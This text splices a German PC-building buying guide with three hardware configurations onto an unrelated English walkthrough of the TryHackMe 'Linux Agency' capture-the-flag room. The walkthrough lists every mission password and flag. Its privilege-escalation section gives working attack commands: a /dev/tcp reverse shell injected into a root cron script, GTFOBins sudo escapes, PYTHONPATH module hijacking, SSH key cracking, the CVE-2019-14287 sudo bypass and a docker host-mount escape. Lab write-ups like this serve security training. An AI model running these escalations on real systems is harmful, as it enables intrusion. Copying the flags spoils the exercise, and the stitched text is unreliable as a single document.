Gleichzeitig ist die technische Verlockung groß: Mit Nvidias Blackwell-Architektur (RTX 50-Serie) und AMDs effizienten Ryzen-9000-Prozessoren stehen technologische Schwergewichte in den Regalen, die einen massiven Leistungssprung versprechen. Lohnt sich also das Warten auf bessere Preise? Die klare Antwort lautet: Nein, zumindest nicht in absehbarer Zeit. Wer jetzt einen neuen PC braucht, muss nicht warten – sollte aber clever konfigurieren, um die aktuellen Stolpersteine der Industrie zu umschiffen.

Foundry

Drei Beispiel-Konfigurationen: Für jeden Anspruch das richtige Setup

Die strategischen Fragen sind geklärt, wir machen uns ans Eingemachte. In den folgenden drei Setups listen wir die besten Kernkomponenten für ein optimales Preis-Leistungsverhältnis auf. Um Ihnen maximale Flexibilität zu ermöglichen, nennen wir innerhalb der Konfigurationen unterschiedliche Komponenten: So können Sie je nach persönlicher Vorliebe gezielt den Preis beeinflussen, mehr Leistung herausholen oder zwischen AMD und Intel wechseln, wenn sich das sinnvoll anbietet.

Konfiguration 1: Der Office- und Alltags-PC

AMD

Konfiguration 1: Zuverlässigkeit, leiser Betrieb und strikte Budgetkontrolle

Fürs Home-Office, Webbrowsing und die gelegentliche Medienwiedergabe braucht es keine teure High-End-Hardware. Hier greift der erwähnte DDR4-Rettungsanker: Durch den bewussten Verzicht auf die neueste Plattform lassen sich Hunderte Euro sparen. Ein zusätzlicher Vorteil dieser Konfiguration ist ihre Zuverlässigkeit: Die Plattform ist ausgereift, günstig und bietet mehr als genug Leistung für typische Office- und Alltagsanwendungen.

• Preisrahmen: ca. 600 – 700 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: AMD Ryzen 5 5600G – Sechs Kerne und eine starke integrierte Grafikeinheit (iGPU). Keine extra Grafikkarte nötig.
  • Alternative: Intel Core i3-14100 – Reicht für reine Office-Arbeiten ebenfalls völlig aus. Wichtig: Achten Sie darauf, nicht aus Versehen die 14100F-Variante zu kaufen, weil dieser Version die Grafikeinheit fehlt.
• Mainboard: Gigabyte B550M DS3H (für AMD) oder Asus Prime B760M-K D4 (für Intel). Beide Boards setzen auf den günstigeren DDR4-Standard. Trotz des niedrigen Preises bieten sie alle wichtigen Anschlüsse für den Alltag, darunter schnelle USB-Ports, M.2-Steckplätze für NVMe-SSDs und genügend Erweiterungsmöglichkeiten für spätere Upgrades.
• Arbeitsspeicher (RAM): 16 GB DDR4-3200 (z.B. Patriot Memory Viper Elite II DDR4 2x8GB, CL18). Dieser Arbeitsspeicher ist für flüssiges Arbeiten und Multitasking völlig ausreichend. Selbst bei zahlreichen geöffneten Browser-Tabs, Videokonferenzen und Office-Anwendungen gleichzeitig geraten 16 GB nur selten an ihre Grenzen.
• Speicherplatz: 500 GB PCIe 4.0 NVMe SSD (z.B. Crucial P310 SSD 500GB M.2 NVMe). Die SSD sorgt für blitzschnelle Boot- und Zugriffszeiten. Wer viele Fotos, Videos oder große Dokumentensammlungen lokal speichert, sollte direkt zur 1-TB-Variante greifen.
• Gehäuse: Das Montech Air 100 ist ein kompaktes Micro-ATX-Gehäuse, das für rund 70 Euro vorbildlich verarbeitet ist. Es bietet ab Werk vorinstallierte Lüfter und eine Mesh-Front für leisen, kühlen Betrieb.
• Netzteil: Mit 450 Watt sind Sie in diesem Segment bestens bedient. Sie können zum Beispiel zum be quiet! System Power 11 450W greifen – das ist ein grundsolides und effizientes Netzteil, das mit seiner moderner ATX-3.1-Zertifizierung zukunftssicher ist. Weil bei diesem Setup keine separate Grafikkarte versorgt werden muss, bleiben die Leistungsreserven selbst unter Last komfortabel.
  
  

Konfiguration 2: Casual-Gaming und Videoschnitt-PC

Asus

Wer aktuelle Spiele flüssig genießen oder mit Adobe Premiere und DaVinci Resolve kreativ werden möchte, kommt um die aktuelle Hardware-Generation nicht herum – das beinhaltet aber auch den derzeit teuren DDR5-RAM. Dafür gibt es starke Leistung und hervorragende Effizienz.

• Preisrahmen: ca. 1.800 – 2.100 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: Der Intel Core Ultra 5 245KF bietet derzeit ein attraktives Preis-Leistungs-Verhältnis. Für rund 150 Euro liefert der moderne 14-Kerner reichlich Leistung für flüssiges 1440p-Gaming und anspruchsvolle Videoschnitt-Projekte.
  • Alternative: Der AMD Ryzen 7 9700X ist eine hocheffiziente 8-Kern-CPU von AMD. Sie verbraucht unter Volllast etwas weniger Strom und bietet beim Gaming minimale Vorteile, ist aktuell im Handel aber etwas teurer.
• Mainboard: Das Asus TUF Gaming Z890-Plus (für Intel) oder das MSI MAG B650 Tomahawk WiFi (für AMD). Beide bieten moderne PCIe-Slots und solide Kühlung für die Spannungswandler.
• Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Angesichts der aktuellen Marktlage ist das eine Investition (450 Euro), die sich für flüssigen 4K-Videoschnitt und moderne Spiele aber auszahlt.
• Grafikkarte (GPU):
  • Standard: Nvidia GeForce RTX 5060 mit 8 GB (z.B. Asus Prime GeForce RTX 5060 8GB OC Edition). Diese Karte ist eine solide Wahl für klassisches 1440p-Gaming, die dank NVENC-Encoder sowie DLSS 4 auch für Content Creation gut geeignet ist. 8-GB-VRAM reichen für die meisten aktuellen Titel aus, können bei anspruchsvollen AAA-Spielen aber zum Flaschenhals werden. Für spürbar mehr Leistungsreserven im 1440p-Gaming können Sie auch zum Ti-Modell greifen (+ 80 Euro).
  • Preis-Alternative: AMD Radeon RX 9060 XT mit 8 GB (z.B. Gigabyte Radeon RX 9060 XT 8GB). Wer ein reines AMD-System bevorzugt, kann zu diesem aktuellen RDNA-4-Modell greifen. Für rund 300 Euro bietet sie hervorragende native Rasterleistung in 1440p und moderne KI-Upscaling-Features.
• Speicherplatz: 2 TB PCIe 4.0 NVMe SSD (z.B. WD_BLACK SN850X NVMe SSD). Moderne Videoprojekte sind äußerst speicherintensiv. Diese schnelle NVMe-SSD bietet reichlich Kapazität und sorgt für verzögerungsfreie Arbeitsabläufe.
• Gehäuse: Fractal Design North XL – ein echter Ästhetik-Hingucker. Mit einer Front aus Walnuss- oder Eichenholz fügt es sich elegant ins Zimmer ein. Dabei bietet es genug Platz und Airflow auch für Komponenten mit hoher Wärmeentwicklung.
• Netzteil: 750 Watt ATX 3.1 (z.B. Seasonic Focus GX ATX 3.1) – Dieses Netzteil bietet den modernen 12V-2×6-Anschluss für RTX-Karten und genügend Puffer für Leistungsspitzen.
  
  

Konfiguration 3: High-End-System für Gaming und Content Creation

Gigabyte

Dieses System ist für Enthusiasten konzipiert, die im Grafikmenü keine Kompromisse eingehen wollen. Hier zählt pure, ungebremste Leistung. Hinweis: Die große Preisspanne dieser Konfiguration ergibt sich vor allem durch die Wahl der Grafikkarte.

• Preisrahmen: 3.300 – 7.200 Euro (Kern-PC, zzgl. Peripherie & OS)

• Prozessor (CPU):
  • Standard: AMD Ryzen 9 9900X3D – Dank des aufgestockten 3D-V-Cache gehört diese CPU zu den schnellsten Gaming-Prozessoren überhaupt. Sie verspricht maximale Framerates auch in modernen und anspruchsvollen Spielen.
  • Günstigere Alternative: AMD Ryzen 9 9900X – minimal langsamer in Spielen, aber ein absolutes Kraftpaket, falls der PC primär für 3D-Rendering, simulationslastige Anwendungen oder rechenintensiven Videoschnitt genutzt wird.
• Mainboard: Asus ROG Strix X870E-E Gaming – Ein ATX-Powerhouse für den Sockel AM5. Das Board wurde entwickelt, um das Potenzial der AMD-Ryzen-9000er-Serie voll auszuschöpfen. Mit zwei nativen USB4-Anschlüssen, Wi-Fi 7 und voller PCIe‑5.0‑Unterstützung bietet es moderne Konnektivität.
• Arbeitsspeicher (RAM): 32 GB DDR5-6000 CL30 Kit (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Auch im High-End-Segment bringen 64 GB beim reinen Gaming kaum messbare Vorteile. Das Budget ist in der Grafikkarte besser investiert. Nur wer sein System professionell nutzt – etwa für aufwendige 4K-Videobearbeitung oder intensives 3D-Rendering, greift zum 64-GB-Kit und muss den Preissprung zwangsläufig hinnehmen.
• Grafikkarte (GPU):
  • Standard: Nvidia GeForce RTX 5080 mit 16 GB (z.B. MSI GeForce RTX 5080 16GB GDDR7) – Das Werkzeug für kompromissloses 4K-Gaming. Sie bewältigt selbst rechenintensives Path-Tracing ohne Einknicken und korrigiert mit den 16 GB schnellem GDDR7-Videospeicher endlich den Geiz vergangener Nvidia-Tage – was man sich allerdings auch teuer erkauft.
  • Highend-Alternative: Nvidia GeForce RTX 5090 mit 32 GB (z.B. Gigabyte Aorus GeForce RTX 5090 32 GB GDDR7). Das absolute Spitzenmodell im Consumer-Markt. Die Grafikkarte richtet sich an Enthusiasten, die für maximale Workstation-Leistung oder extremes 4K-Path-Tracing die höchste Ausbaustufe anpeilen und bereit sind, den entsprechenden Premium-Preis zu zahlen.
• Speicherplatz: 2 bis 4 TB PCIe 5.0 NVMe SSD (z.B. Crucial T710 SSD 4TB M.2 NVMe PCIe 5.0) – Für kürzeste Ladezeiten dank DirectStorage: Diese Technologie erlaubt es der Grafikkarte, Spieldaten ohne Umweg über die CPU direkt von der SSD zu laden.
• Gehäuse:
  
  • Standard: be quiet! Shadow Base 800 FX Black – ein geräumiger Full-Tower, der ab Werk mit vier Light-Wings-140mm-PWM-Lüftern und einer integrierten Lüfter-Steuerung geliefert wird. Das Gehäuse bietet ausreichend Platz für große 420-mm-Radiatoren und überlange Grafikkarten.
  • Design-Alternative: Lian Li O11 Dynamic EVO XL – Ein modularer Full-Tower, der sich spiegelverkehrt aufbauen lässt. Durch die abnehmbare Ecksäule bietet das Gehäuse freien Einblick auf die Hardware. Es fasst E-ATX-Mainboards, Grafikkarten bis 460 mm Länge und erlaubt die gleichzeitige Montage von bis zu drei 420-mm-Radiatoren für aufwendige Wasserkühlungen.
• Netzteil: 1000 Watt ATX 3.1 (z.B. Corsair RMx Shift oder be quiet! Straight Power 12). Die RTX-50-Serie kann unter Last eine hohe Leistungsaufnahme erreichen. Ein hochwertiges 1000-Watt-Netzteil mit ATX-3.1-Unterstützung bietet dafür ausreichende Reserven.

Ihre Kauf-Checkliste für 2026

Anucha Tiemsom/Shutterstock.com

Bevor Sie Ihre Komponenten in den Warenkorb legen, sollten Sie diese Punkte noch einmal kritisch prüfen. Hier verstecken sich die häufigsten Fehler beim PC-Kauf:

• Airflow bei Gaming-Systemen beachten: Moderne Komponenten arbeiten zwar immer effizienter, trotzdem gilt: Je mehr Leistung, desto mehr Abwärme. Gerade für High-End-Setups sollten Sie Gehäuse mit geschlossener Glas- oder Plastikfront deswegen eher meiden. Eine offene Mesh-Front sorgt für frische Luft, hält die Temperaturen niedrig und ermöglicht es den Gehäuselüftern, auch unter Last angenehm leise zu arbeiten.
• HDD stirbt langsam aus: Für Betriebssystem, Programme und Spiele haben HDDs ausgedient. Mechanische Festplatten lohnen sich heute vor allem noch als günstiger Datenspeicher für Backups und große Medienarchive – alles andere macht die SSD.
• Netzteil-Standards beachten: Neue Grafikkarten benötigen moderne Anschlüsse und eine stabile Absicherung gegen Spannungsspitzen. Achten Sie beim Netzteilkauf auf die neue ATX-3.1-Zertifizierung.
• RAM-Sweetspot treffen: Greifen Sie maximal zu DDR5-6000-Speicher. Alles darüber hinaus macht Ihr neues Setup deutlich teurer, liefert in der Praxis aber kaum einen spürbaren Mehrwert.
• Mainboard-Features geschickt wählen: Bezahlen Sie nicht für Anschlüsse, die Sie nie nutzen. Wer einen PC ohnehin per LAN-Kabel mit dem Router verbindet, braucht z.B. kein Modell mit integriertem Wi-Fi 7.
• Kühlung richtig dimensionieren: Für Mittelklasse-Prozessoren (wie den Ryzen 5 9600X) reicht ein solider Tower-Luftkühler für 40 Euro oft aus. Teure Komplettwasserkühlungen (AiOs) sind erst im High-End-Segment sinnvoll – oder wenn Sie der Gehäuse-Optik besonderes Augenmerk schenken wollen.

Fazit: Clever kaufen trotz Krise

Wer 2026 einen PC baut, sieht sich mit neuen Spielregeln konfrontiert. Der KI-Boom hat den Markt spürbar verzerrt und Arbeitsspeicher zum kostspieligen Schmerzpunkt gemacht. Ein Grund zum Abwarten ist das aber nicht. Dafür steht zu viel spannende Technik in den Regalen – Besserung ist aktuell auch gar nicht in Sicht.

Die Devise lautet deshalb: Priorisieren statt Verzweifeln. Wer beim RAM den Sweetspot trifft (DDR5-6000), auf Vorratskäufe verzichtet oder im Office-Bereich geschickt auf DDR4 ausweicht, holt das Maximum aus seinem Budget heraus. Wenn Sie Ihr Geld strategisch verteilen und die Preisfallen der Hersteller umschiffen, können Sie Ihren Traum-PC auch in Krisenzeiten realisieren.

“Agent 47, your mission begins. 30 targets stand between you and the root.”
Author: Shikhali Jamalzade
GitHub: github.com/alisalive
LinkedIn: linkedin.com/in/camalzads

📋 Room Overview

Platform TryHackMe
Room Name Linux Agency
Link https://tryhackme.com/room/linuxagency
Difficulty Medium
Category Linux Fundamentals + Privilege Escalation
Initial Access SSH (agent47)

🎯 About This Room

Linux Agency is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of Agent 47 — a secret agent tasked with infiltrating the ICA Agency, chaining through 30 mission accounts, eliminating special targets, and ultimately achieving root.

This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:

• 🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)
• 💻 Multiple programming languages (Python, Ruby, Java, C)
• 🔐 Encoding/decoding (Base64, Binary, Hex)
• 📅 Cron job exploitation
• ⚡ Sudo privilege escalation via GTFOBins
• 🐳 Docker privilege escalation
• 🔑 SSH private key cracking

🛠️ Tools Used

• ssh, su, find, grep, cat, ls, strings, file
• base64, xxd
• gcc, javac, java, python3, ruby
• netcat (nc)
• ssh2john + john (John the Ripper)
• ss (socket statistics)
• GTFOBins
• Docker

⚙️ Setup

Start the machine on TryHackMe and wait about a minute. Then connect:

ssh agent47@<MACHINE_IP>

Password: 640509040147

Once connected you’ll see:

agent47@linuxagency:~$

The mission begins. 🚀

🗂️ Task 2: Initial Access

The room’s mechanic is straightforward:

• Every flag found acts as the password for the next user
• Flag format: missionX{md5_hash}
• Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...

🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)

🎯 Mission 1

As agent47, the first task is finding mission1’s flag.

find / -type f -name "*.txt" 2>/dev/null
# Or directly check:
ls /home/mission1/
cat /home/mission1/<flag_file>

Now switch to mission1:

su mission1
# Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}

💡 What we learned: find for filesystem-wide searching, understanding the /home directory structure.

🎯 Mission 2

As mission1:

find / -type f -name "mission2" 2>/dev/null
cat <found_path>

su mission2
# Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}

🎯 Mission 3

# As mission2:
grep -r "mission3" . 2>/dev/null

su mission3
# Password: mission3{ab1e1ae5cba688340825103f70b0f976}

💡 What we learned: grep -r for recursive content searching across directories.

🎯 Mission 4

# As mission3:
cd /home/mission3
ls
cat flag.txt

su mission4
# Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}

🎯 Missions 5–8

These follow a similar pattern — searching the filesystem:

# As mission4:
grep -r "mission5" / 2>/dev/null
su mission5
# Password: mission5{bc67906710c3a376bcc7bd25978f62c0}

# As mission5:
grep -r "mission6" / 2>/dev/null
su mission6
# Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}

# As mission6:
grep -r "mission7" / 2>/dev/null
su mission7
# Password: mission7{53fd6b2bad6e85519c7403267225def5}

# As mission7:
grep -r "mission8" / 2>/dev/null
su mission8
# Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}

🎯 Mission 9

# As mission8:
ls
cat flag.txt

su mission9
# Password: mission9{ba1069363d182e1c114bef7521c898f5}

🎯 Missions 10–11

# As mission9:
grep -r "mission10" / 2>/dev/null
su mission10
# Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}

# As mission10:
grep -r "mission11" / 2>/dev/null
su mission11
# Password: mission11{db074d9b68f06246944b991d433180c0}

🎯 Mission 12 — Environment Variable

This time the flag is hidden inside an environment variable, not a file!

# As mission11:
env | grep mission12

su mission12
# Password: mission12{f449a1d33d6edc327354635967f9a720}

💡 What we learned: The env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!

🎯 Mission 13 — File Permissions

# As mission12:
ls -la /home/mission12/
# flag.txt exists but you have no read permission!
chmod 777 /home/mission12/flag.txt
cat /home/mission12/flag.txt

su mission13
# Password: mission13{076124e360406b4c98ecefddd13ddb1f}

💡 What we learned: Linux file permissions and chmod. Always use ls -la — the -a flag reveals hidden files and the -l flag shows permissions clearly.

🎯 Mission 14 — Base64 Decode

# As mission13:
cat /home/mission13/flag.txt | base64 -d

su mission14
# Password: mission14{d598de95639514b9941507617b9e54d2}

💡 What we learned: Base64 encoding/decoding. Strings ending with = or == are almost always Base64-encoded. The base64 -d flag decodes them directly in the terminal.

🎯 Mission 15 — Binary → ASCII

# As mission14:
cat /home/mission14/flag.txt
# You'll see binary digits: 01101101 01101001 ...

Convert the binary to ASCII using Python:

python3 -c "
binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'
chars = binary.split()
result = ''.join([chr(int(b, 2)) for b in chars])
print(result)
"

Or use an online tool: https://www.rapidtables.com/convert/number/binary-to-ascii.html

su mission15
# Password: mission15{fc4915d818bfaeff01185c3547f25596}

💡 What we learned: Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.

🎯 Mission 16 — Hex → ASCII

# As mission15:
cat /home/mission15/flag.txt | xxd -r -p

xxd -r -p converts a raw hex string directly back to ASCII.

su mission16
# Password: mission16{884417d40033c4c2091b44d7c26a908e}

💡 What we learned: Hex decoding. xxd dumps hex (-p for plain hex), and with -r it reverses the process.

🎯 Mission 17 — Execute Permission

# As mission16:
ls -la /home/mission16/
# There's a 'flag' binary but it has no execute permission
chmod u+x /home/mission16/flag
./flag

su mission17
# Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}

🎯 Mission 18 — Java

# As mission17:
ls /home/mission17/
# flag.java found
cd /home/mission17/
javac flag.java      # Compile
java flag            # Run

su mission18
# Password: mission18{f09760649986b489cda320ab5f7917e8}

💡 What we learned: Java compilation workflow: javac compiles .java → .class, then java runs the class.

🎯 Mission 19 — Ruby

# As mission18:
ruby /home/mission18/flag.rb

su mission19
# Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}

🎯 Mission 20 — C Language

# As mission19:
cd /home/mission19/
gcc flag.c -o flag   # Compile
./flag               # Run

su mission20
# Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}

💡 What we learned: C compilation: gcc source.c -o output_name then ./output_name to execute.

🎯 Mission 21 — Python

# As mission20:
python3 /home/mission20/flag.py

su mission21
# Password: mission21{7de756aabc528b446f6eb38419318f0c}

🎯 Mission 22 — Restricted Shell Escape (script)

When you log in as mission21, you’re dropped into a restricted shell. Escape using:

script -qc /bin/bash /dev/null

This spawns a full bash shell. Now check .bashrc:

cat ~/.bashrc
# You'll find a Base64-encoded string
echo '<base64_string>' | base64 -d

su mission22
# Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}

💡 What we learned: Restricted shell escape using the script command, which opens a new terminal session. Always check .bashrc and .bash_profile — attackers hide data there, and defenders do too.

🎯 Mission 23 — Python Interpreter Shell Escape

Logging in as mission22 drops you into a Python REPL. Escape to bash:

import pty
pty.spawn("/bin/bash")

Now read the flag:

cat /home/mission22/flag.txt

su mission23
# Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}

💡 What we learned: Python pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!

🎯 Mission 24 — Virtual Host + cURL

# As mission23:
cat /home/mission23/message.txt
cat /etc/hosts
# You'll see mission24.com mapped to 127.0.0.1
curl http://mission24.com -s | grep mission

su mission24
# Password: mission24{dbaeb06591a7fd6230407df3a947b89c}

💡 What we learned: Virtual hosting — the /etc/hosts file acts as a local DNS resolver. In real engagements, always check /etc/hosts for internal hostnames that reveal additional attack surface.

🎯 Mission 25 — Binary Analysis + viminfo

# As mission24:
ls /home/mission24/
file bribe              # Check the file type
./bribe                 # Execute it — it writes to .viminfo
grep mission /home/mission24/.viminfo

su mission25
# Password: mission25{61b93637881c87c71f220033b22a921b}

💡 What we learned: The file command identifies file types regardless of extension. .viminfo is a hidden file storing Vim history — always run ls -la to catch hidden files!

🎯 Mission 26 — PATH Manipulation

Logging in as mission25 gives you a broken environment — commands don’t work because $PATH is corrupted.

echo $PATH
# Empty or wrong PATH

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ls -lhA
cat flag.txt

su mission26
# Password: mission26{cb6ce977c16c57f509e9f8462a120f00}

💡 What we learned: The $PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.

🎯 Mission 27 — Steganography with strings

# As mission26:
ls /home/mission26/
strings -n 20 /home/mission26/flag.jpg

strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.

su mission27
# Password: mission27{444d29b932124a48e7dddc0595788f4d}

💡 What we learned: Basic steganography — data hidden inside image files. strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.

🎯 Mission 28 — Absurdly Long Filename

# As mission27:
ls /home/mission27/
less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz

Yes, the filename is exactly that long. less handles it fine.

su mission28
# Password: mission28{03556f8ca983ef4dc26d2055aef9770f}

🎯 Mission 29 — Ruby Interpreter + Reverse String

Logging in as mission28 drops you into a Ruby REPL.

Option 1 — Escape to shell:

exec "/bin/bash"

Option 2 — Read the file directly from Ruby:

Dir.chdir("/home/mission28")
puts File.open("txt.galf").readlines

The flag is written in reverse! You’ll see something like:

'}1fff2ad47eb52e68523621b8d50b2918{92noissim'

Reverse it:

'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse

su mission29
# Password: mission29{8192b05d8b12632586e25be74da2fff1}

💡 What we learned: Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename txt.galf — that's flag.txt reversed!

🎯 Mission 30 — Bludit CMS Enumeration

# As mission29:
ls /home/mission29/
grep -rn "mission30" /home/mission29/bludit/

The flag is buried inside Bludit CMS’s file structure.

su mission30
# Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}

🎯 Viktor — Git History

# As mission30:
ls /home/mission30/
cd /home/mission30/Escalator/
git --no-pager log

Browse the git commit history — the flag is hidden in there.

su viktor
# Password: viktor{b52c60124c0f8f85fe647021122b3d9a}

💡 What we learned: git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.

🔓 Task 4: Privilege Escalation

You’re now viktor. The “special targets” phase begins — each user requires a different privilege escalation technique.

🎯 Dalia — Cron Job Exploitation

# As viktor:
cat /etc/crontab

Output:

* * * * * root bash /opt/scripts/47.sh

Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:

cat /opt/scripts/47.sh
ls -la /opt/scripts/47.sh
# You have write access!

Step 1: Create your reverse shell payload:

vim /tmp/eop.sh

Contents:

#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/9999 0>&1

Step 2: Base64-encode it and overwrite the cron script:

cat /tmp/eop.sh | base64 -w 0
# Copy the output, then:
echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d > /opt/scripts/47.sh

Step 3: Set up your listener:

nc -nlvp 9999

Wait up to 60 seconds. The cron job fires and you get a shell as dalia:

# In the received shell:
id
# uid=1000(dalia) ...
cat /home/dalia/flag.txt

Upgrade the shell (important for stability):

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export SHELL=bash
# Press Ctrl+Z
stty raw -echo; fg

Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}

💡 What we learned: Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate /etc/crontab, /etc/cron.d/, and /var/spool/cron/.

🎯 Silvio — sudo + zip (GTFOBins)

# As dalia:
sudo -l
# (dalia) NOPASSWD: /usr/bin/zip as silvio

From GTFOBins — zip sudo escape:

TF=$(mktemp -u)
sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'

id
# uid=... (silvio)
cat /home/silvio/flag.txt

Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}

💡 What we learned: GTFOBins — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see sudo -l, immediately cross-reference every allowed binary against GTFOBins.

🎯 Reza — sudo + git (GTFOBins)

# As silvio:
sudo -l
# (silvio) NOPASSWD: /usr/bin/git as reza

GTFOBins git sudo escape (uses PAGER environment variable):

sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help

id
# uid=... (reza)
cat /home/reza/flag.txt

Flag: reza{2f1901644eda75306f3142d837b80d3e}

💡 What we learned: Git’s --paginate (-p) feature invokes a pager, and by hijacking the PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.

🎯 Jordan — PYTHONPATH Hijacking

# As reza:
sudo -l
# (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan

Run the script:

sudo -u jordan /opt/scripts/Gun-Shop.py
# Error: No module named 'shop'

The script imports a module called shop which doesn't exist. We can create it in a directory we control:

Step 1: Create a malicious shop module:

mkdir -p /tmp/shop
echo 'import os; os.system("/bin/bash")' > /tmp/shop/shop.py

Step 2: Override PYTHONPATH so Python finds our module first:

sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py

id
# uid=... (jordan)
cat /home/jordan/flag.txt

Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}

💡 What we learned: Python module hijacking — a real-world PrivEsc technique. PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.

🎯 Ken — sudo + less (GTFOBins)

# As jordan:
sudo -l
# (jordan) NOPASSWD: /usr/bin/less as ken

sudo -u ken /usr/bin/less /etc/profile

Once less opens, type ! followed by:

!/bin/sh

Press Enter — you drop into a shell as ken.

id
cat /home/ken/flag.txt

Flag: ken{4115bf456d1aaf012ed4550c418ba99f}

🎯 Sean — sudo + vim (GTFOBins)

# As ken:
sudo -l
# (ken) NOPASSWD: /usr/bin/vim as sean

sudo -u sean vim -c ':!/bin/sh'

The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.

id
cat /home/sean/flag.txt

Flag: sean{4c5685f4db7966a43cf8e95859801281}

💡 What we learned: Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting sudo vim to any user is effectively granting root.

🎯 Penelope — Password Hidden in Base64

# As sean:
printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d
# Output: "The password of penelope is p3nelope"

su penelope
# Password: p3nelope
cat /home/penelope/flag.txt

Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}

🎯 Maya — SUID base64 (GTFOBins)

# As penelope:
ls -lhA /home/penelope/
# A 'base64' binary with the SUID bit set!

GTFOBins SUID base64 exploit — read files as the binary’s owner:

LFILE=/home/maya/flag.txt
./base64 "$LFILE" | base64 -d

Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}

💡 What we learned: SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: find / -perm -4000 2>/dev/null. Cross-reference every result with GTFOBins.

🎯 Robert — SSH Private Key Cracking

# As maya:
ls -lhA /home/maya/
ls -lhA /home/maya/old_robert_ssh/
# id_rsa and id_rsa.pub found

Step 1: Copy the private key to your local machine (new terminal tab):

scp maya@<IP>:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert
chmod 600 id_rsa_robert

Step 2: Convert the key to a crackable hash:

ssh2john id_rsa_robert > robert_ssh_hash.txt

Step 3: Crack it with John the Ripper:

john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result: industryweapon

Step 4: Find Robert’s SSH port on the target:

# On the target machine:
ss -nlpt | grep 22
# Port 2222 is listening

Step 5: Connect:

ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert
# Passphrase: industryweapon
cat /home/robert/user.txt

Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}

💡 What we learned: SSH private key cracking — ssh2john extracts the hash, john cracks it. In real engagements, always look for id_rsa files in home directories, backup folders, and .ssh/ directories. Encrypted keys with weak passphrases are a common finding.

👑 Root — Two-Stage Escalation

Stage 1: CVE-2019–14287 (Sudo User ID Bypass)

# As robert:
sudo --version
# Reveals a vulnerable version (< 1.8.28)
sudo -u#-1 /bin/bash
whoami
# root!

How it works: This is CVE-2019–14287. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.

cd /root
ls

Stage 2: Docker Group → Root (root.txt)

# As root (inside the container/restricted environment):
id
# You're in the docker group
find / -name docker 2>/dev/null
# Found at /tmp/docker or similar
./docker ps -a
./docker image ls
# "mangoman" image exists

Mount the host filesystem into a container and chroot into it:

./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh

id
# uid=0(root) gid=0(root) — TRUE host root
cat /root/root.txt

Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}

